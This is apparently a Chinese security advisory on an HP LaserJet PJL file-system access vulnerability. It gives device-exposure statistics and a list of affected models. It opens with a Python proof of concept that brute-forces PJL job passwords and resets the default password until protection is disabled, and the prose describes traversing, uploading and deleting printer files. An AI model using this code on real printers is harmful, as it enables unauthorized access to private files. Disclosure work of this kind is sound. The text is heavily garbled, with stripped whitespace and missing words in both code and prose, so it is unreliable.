defiflen(sys.argv)<=1:foriinrange(1,65536):buf=b''#發送重置的PJL指s.send(('\033%-12345X@PJL\r\n@PJLJOBPASSWORD='+str(i)+'\r\n@PJLDEFAULTPASSWORD=0\r\n@PJLEOJ\r\n\033%-12345X\r\n').encode('UTF-8'))ifi%30==#發送查詢保護狀態的PJL指whileTrue:#保護被禁用#發送查詢 buf=b''while#查詢成功print('PoCOK!')exceptValueError:print('PoCNO!')exceptValueError:exceptValueError:ifname =='main':如果打印出“PoCOK!”，說明系統存在。PoC驗證主要分為兩個部分。第一部分發送重置的PJL指令進行，每進行30次嘗試后發送一次查詢當前保護的狀態的PJL指令，直到查詢到保護被關閉即為成功。過程如圖一所示，過程中返回型號和PJL報文信息。圖1Python3過PJL指令，如果指令能夠正確獲取到，則PJL具有文件系統的權限，如圖2所示，即存在，PoC驗證完成。 惠普FileSystemExternalAccess的默認設置允許PJL命令該設備的文件系統。者可以借助PJL任意文件，連接并進行遍歷操作，截圖如下：進入，后，可以進行上傳、和刪除文件的操作，截圖如下ZoomEye普中受到該影響的有3625臺，占比34.88%。 影響設備型號全 TOP受該影響中HPLaserJet4250有424臺(11.7%)，HPLaserJet4050有366臺(10.1%)，HPColorLaserJet5550有267臺(7.3%)。其中HPLaserJet系列占所有受影響設73.9%。圖6受影響設備型號全球TOP 影響國家全球TOP圖7受影響國家全球TOP1、通過PJL文件系惠普LaserJet系列未多年前就已經被爆出，惠普在2010年也給出了修補方案，然而在國內外都并未受到足夠的重視，如今仍有很大一部分存在未遠程文件的，存于其上的私人文件甚至高密文件唾手可得，加強意識任重而道1、知道創宇Sebug平臺2、惠普PJL技術手冊 3、惠普安全公告： HPColorLaserJet2550Series HPLaserJet400ColorM451nwHPColorLaserJet3000 HPLaserJet400M401dnHPColorLaserJet HPLaserJet400HPColorLaserJet HPLaserJet400HPColorLaserJet HPLaserJet400MFPHPColorLaserJet HPLaserJetHPColorLaserJet HPLaserJetHPColorLaserJet4550Series HPLaserJet4100MFPHPColorLaserJet4600 HPLaserJet4100SeriesHPColorLaserJet HPLaserJetHPColorLaserJet4700 HPColorLaserJet4730mfp HPLaserJet4240HPColorLaserJet5500 HPLaserJet4250HPColorLaserJet HPLaserJetHPColorLaserJet HPLaserJet4345HPColorLaserJet HPLaserJetHPColorLaserJetCM2320fxi HPLaserJet500ColorHPColorLaserJetCP3525 HPLaserJet500ColorMFPM570dnHPColorLaserJetCP4020Series HPLaserJet5000HPColorLaserJetCP4520Series HPLaserJet5100HPColorLaserJetCP5225dn HPLaserJet5200HPColorLaserJetCP5520Series HPLaserJet5200LHPColorLaserJetM651 HPColorLaserJetM750 HPLaserJet600M601HPColorLaserJetMFPM476dnHPLaserJet600M602HPColorLaserJetMFPM476dwHPLaserJet600M603HPDesignJet130 HPLaserJet6PHPDesignJet HPLaserJetHPLaserJet1160 HPLaserJetHPLaserJet HPLaserJetHPLaserJet HPLaserJet9000HPLaserJet HPLaserJetHPLaserJet1320Series HPLaserJet9050HPLaserJet200ColorM251n HPLaserJetM606HPLaserJet2100 HPLaserJetP2015HPLaserJet HPLaserJetHPLaserJet2300 HPLaserJetP3010HPLaserJet HPLaserJetHPLaserJet HPLaserJetHPLaserJet HPLaserJetHPLaserJet HPLaserJetProMF